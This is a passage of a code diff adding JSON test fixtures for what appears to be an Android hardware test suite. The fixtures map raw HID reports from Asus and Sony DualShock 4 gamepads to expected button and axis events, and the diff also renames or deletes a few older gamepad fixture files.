+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xc4, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xeb, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xff, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0xcf, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x93, 0x80, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x8c, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.114}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.231}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.537}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.843}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.624}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.153}},
+      {"action": "MOVE", "axes": {"AXIS_Z": 0.098}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press up",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x61, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x55, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.239}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.333}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Right stick - press down",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x83, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0xff, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x54, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x82, 0x00, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.129}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": -0.341}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.020}},
+      {"action": "MOVE", "axes": {"AXIS_RZ": 0.004}}
+    ]
+  },
+
+  {
+    "name": "Left trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0xa6, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0xff, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x90, 0x00],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.651, "AXIS_BRAKE": 0.651}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 1.0, "AXIS_BRAKE": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0.565, "AXIS_BRAKE": 0.565}},
+      {"action": "MOVE", "axes": {"AXIS_LTRIGGER": 0, "AXIS_BRAKE": 0}}
+    ]
+  },
+
+  {
+    "name": "Right trigger - quick press",
+    "reports": [
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xaf],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xff],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0xa5],
+      [0x01, 0x00, 0x80, 0x80, 0x80, 0x80, 0x80, 0x00, 0x00]
+    ],
+    "events": [
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.686, "AXIS_GAS": 0.686}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 1.0, "AXIS_GAS": 1.0}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0.647, "AXIS_GAS": 0.647}},
+      {"action": "MOVE", "axes": {"AXIS_RTRIGGER": 0, "AXIS_GAS": 0}}
+    ]
+  }
+
+
+]
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_register_device.json b/tests/tests/hardware/res/raw/asus_gamepad_register.json
similarity index 100%
rename from tests/tests/hardware/res/raw/gamepad_register_device.json
rename to tests/tests/hardware/res/raw/asus_gamepad_register.json
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_down.json b/tests/tests/hardware/res/raw/gamepad_button_a_down.json
deleted file mode 100644
index 21f5186..0000000
--- a/tests/tests/hardware/res/raw/gamepad_button_a_down.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "report",
-  "report": [0x01, 0x01, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
-}
diff --git a/tests/tests/hardware/res/raw/gamepad_button_a_up.json b/tests/tests/hardware/res/raw/gamepad_button_a_up.json
deleted file mode 100644
index ab1eb0e..0000000
--- a/tests/tests/hardware/res/raw/gamepad_button_a_up.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "report",
-  "report": [0x01, 0x00, 0x80, 0x7f, 0x7f, 0x7f, 0x7f, 0x00, 0x00]
-}
\ No newline at end of file
diff --git a/tests/tests/hardware/res/raw/gamepad_delay.json b/tests/tests/hardware/res/raw/gamepad_delay.json
deleted file mode 100644
index a25c3dd..0000000
--- a/tests/tests/hardware/res/raw/gamepad_delay.json
+++ /dev/null
@@ -1,5 +0,0 @@
-{
-  "id": 1,
-  "command": "delay",
-  "duration": 10
-}
diff --git a/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
new file mode 100644
index 0000000..4271249
--- /dev/null
+++ b/tests/tests/hardware/res/raw/sony_dualshock4_keyeventtests.json
@@ -0,0 +1,288 @@
+[
+  {
+    "name": "Press BUTTON_A",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x28, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
+      0xf4, 0xd7, 0xf4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_A"},
+      {"action": "UP", "keycode": "BUTTON_A"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_B",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x48, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6e,
+      0x8a, 0xfe, 0xd4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_B"},
+      {"action": "UP", "keycode": "BUTTON_B"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_X",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x18, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x54,
+      0x4b, 0xc3, 0xe4],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_X"},
+      {"action": "UP", "keycode": "BUTTON_X"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_Y",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x88, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36,
+      0x76, 0xac, 0x94],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_Y"},
+      {"action": "UP", "keycode": "BUTTON_Y"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x01, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86,
+      0x8e, 0x09, 0x14],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L1"},
+      {"action": "UP", "keycode": "BUTTON_L1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R1",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x02, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7,
+      0x79, 0x33, 0xce],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R1"},
+      {"action": "UP", "keycode": "BUTTON_R1"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x04, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4,
+      0x91, 0x37, 0xa1],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_L2"},
+      {"action": "UP", "keycode": "BUTTON_L2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R2",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x08, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2,
+      0x41, 0x3e, 0x7f],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_R2"},
+      {"action": "UP", "keycode": "BUTTON_R2"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_L3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x40, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
+      0x34, 0x62, 0x90],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBL"},
+      {"action": "UP", "keycode": "BUTTON_THUMBL"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_R3",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x80, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea,
+      0x0a, 0x95, 0x1d],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_THUMBR"},
+      {"action": "UP", "keycode": "BUTTON_THUMBR"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_SHARE",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x10, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0xef,
+      0xe7, 0x5c, 0x18],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_SELECT"},
+      {"action": "UP", "keycode": "BUTTON_SELECT"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_OPTIONS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x20, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x75,
+      0xab, 0x99, 0xd6],
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x00, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99,
+      0x23, 0xe0, 0x5d]
+    ],
+    "events": [
+      {"action": "DOWN", "keycode": "BUTTON_START"},
+      {"action": "UP", "keycode": "BUTTON_START"}
+    ]
+  },
+
+  {
+    "name": "Press BUTTON_PS",
+    "reports": [
+      [0x11, 0xc0, 0x00, 0x80, 0x80, 0x80, 0x80, 0x08, 0x00, 0x01, 0x00, 0x00, 0x62, 0x6d, 0x10,
+      0x0c, 0x00, 0x07, 0x00, 0xe6, 0xff, 0x23, 0xff, 0xa1, 0x1d, 0xa6, 0x07, 0x00, 0x00, 0x00,
+      0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00,
+      0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80,
+      0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7f,
+      0x71, 0x0a, 0xdd],
